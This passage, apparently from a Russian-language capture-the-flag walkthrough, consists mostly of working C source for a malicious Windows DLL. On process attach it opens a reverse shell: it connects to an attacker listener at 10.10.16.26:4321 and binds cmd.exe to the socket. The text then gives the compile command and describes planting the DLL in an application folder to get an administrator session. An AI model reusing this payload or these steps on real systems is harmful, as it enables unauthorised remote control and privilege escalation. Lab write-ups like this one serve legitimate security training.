SOCKET wSock;
struct sockaddr_in hax;
STARTUPINFO sui;
PROCESS_INFORMATION pi;
void go() {
// listener ip, port on attacker’s machine
char *ip = "10.10.16.26";
short port = 4321;
// init socket lib
WSAStartup(MAKEWORD(2, 2), &wsaData);
// create socket
wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
hax.sin_family = AF_INET;
hax.sin_port = htons(port);
hax.sin_addr.s_addr = inet_addr(ip);
// connect to remote host
WSAConnect(wSock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
memset(&sui, 0, sizeof(sui));
sui.cb = sizeof(sui);
sui.dwFlags = STARTF_USESTDHANDLES;
sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) wSock;
// start cmd.exe with redirected streams
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
go();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Теперь одной командой компилируем DLL-файл, после чего размещаем нашу либу в каталоге приложения.
x86_64-w64-mingw32-gcc -w -Wall -o externalupload.dll -shared revshell.c -lws2_32
Открываем листенер на порте 4321, подключаемся к приложению и инициируем загрузку DLL. Полученная сессия будет от имени администратора.


Машина захвачена!